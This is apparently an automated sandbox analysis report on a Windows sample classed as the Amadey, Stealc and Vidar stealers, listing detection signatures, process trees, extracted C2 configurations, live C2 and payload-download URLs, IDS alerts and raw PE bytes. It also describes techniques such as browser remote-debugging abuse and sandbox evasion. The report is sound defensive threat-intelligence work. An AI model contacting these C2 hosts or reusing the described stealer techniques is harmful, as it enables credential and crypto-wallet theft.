Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561299
MD5:	c39eb549a7dc6f9f6eeababcaea602dc
SHA1:	33c34ab34eb843e347694db102e68ae0b59d9c29
SHA256:	ebd45bb1a1f3c24ca2c7c4d9c30efe71eea9b8246a750bd5722043703013af99
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3704 cmdline: "C:\Users\user\Desktop\file.exe" MD5: C39EB549A7DC6F9F6EEABABCAEA602DC)

chrome.exe (PID: 7384 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7604 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2216 --field-trial-handle=2180,i,13176118876904001922,10244841631199679070,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 8544 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8760 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2348 --field-trial-handle=2232,i,8971129081946804549,660642192054398169,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 7484 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEBKEHJJDAA.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsEBKEHJJDAA.exe (PID: 7272 cmdline: "C:\Users\user\DocumentsEBKEHJJDAA.exe" MD5: 3DDA196E23D46002E364E5CAB7803F7A)

skotes.exe (PID: 6648 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 3DDA196E23D46002E364E5CAB7803F7A)

msedge.exe (PID: 8836 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 9136 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8796 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6516 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8812 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6640 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 3196 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6984 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 4460 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6984 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 7516 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6744 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 8672 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 3DDA196E23D46002E364E5CAB7803F7A)

skotes.exe (PID: 7472 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 3DDA196E23D46002E364E5CAB7803F7A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2160232079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2666039485.0000000000151000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.3296532538.0000000005180000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000002.2687274886.0000000000681000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000002.2711342646.0000000000D41000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2666039485.000000000021C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000003.2669469165.0000000005130000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000002.2718925825.0000000000D41000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000002.3399174335.0000000000D41000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000003.2677919904.0000000005350000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2667851166.000000000103E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000003.2646542332.0000000004E60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 3704	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 3704	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3704	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3704	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
25.2.skotes.exe.d40000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
28.2.skotes.exe.d40000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.DocumentsEBKEHJJDAA.exe.680000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
26.2.skotes.exe.d40000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 3704, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7384, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T02:55:12.366484+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49714	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T02:55:12.043119+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T02:55:12.695320+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T02:55:14.614050+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T02:55:13.020611+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49714	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T02:55:11.593708+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T02:57:07.213864+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50134	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T02:55:00.024014+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50140	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T02:57:11.802420+0100	2803305	3	Unknown Traffic	192.168.2.6	50146	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T02:55:15.378219+0100	2803304	3	Unknown Traffic	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-23T02:55:37.632878+0100	2803304	3	Unknown Traffic	192.168.2.6	49814	185.215.113.206	80	TCP
2024-11-23T02:55:39.668179+0100	2803304	3	Unknown Traffic	192.168.2.6	49814	185.215.113.206	80	TCP
2024-11-23T02:55:40.978506+0100	2803304	3	Unknown Traffic	192.168.2.6	49814	185.215.113.206	80	TCP
2024-11-23T02:55:42.092535+0100	2803304	3	Unknown Traffic	192.168.2.6	49814	185.215.113.206	80	TCP
2024-11-23T02:55:45.583073+0100	2803304	3	Unknown Traffic	192.168.2.6	49814	185.215.113.206	80	TCP
2024-11-23T02:55:46.750256+0100	2803304	3	Unknown Traffic	192.168.2.6	49814	185.215.113.206	80	TCP
2024-11-23T02:55:52.391831+0100	2803304	3	Unknown Traffic	192.168.2.6	49936	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.phpfi	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dll0	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dll:	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000001C.00000003.3296532538.0000000005180000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.3704.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.16/mine/random.exel	Virustotal: Detection: 18%			Perma Link
Source: http://31.41.244.11/files/random.exe1	Virustotal: Detection: 18%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C956C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C956C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.17:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.6:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.6:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:50149 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2699642763.000000006CB7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2699642763.000000006CB7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49714
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49714
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50134 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50140

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 01:55:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 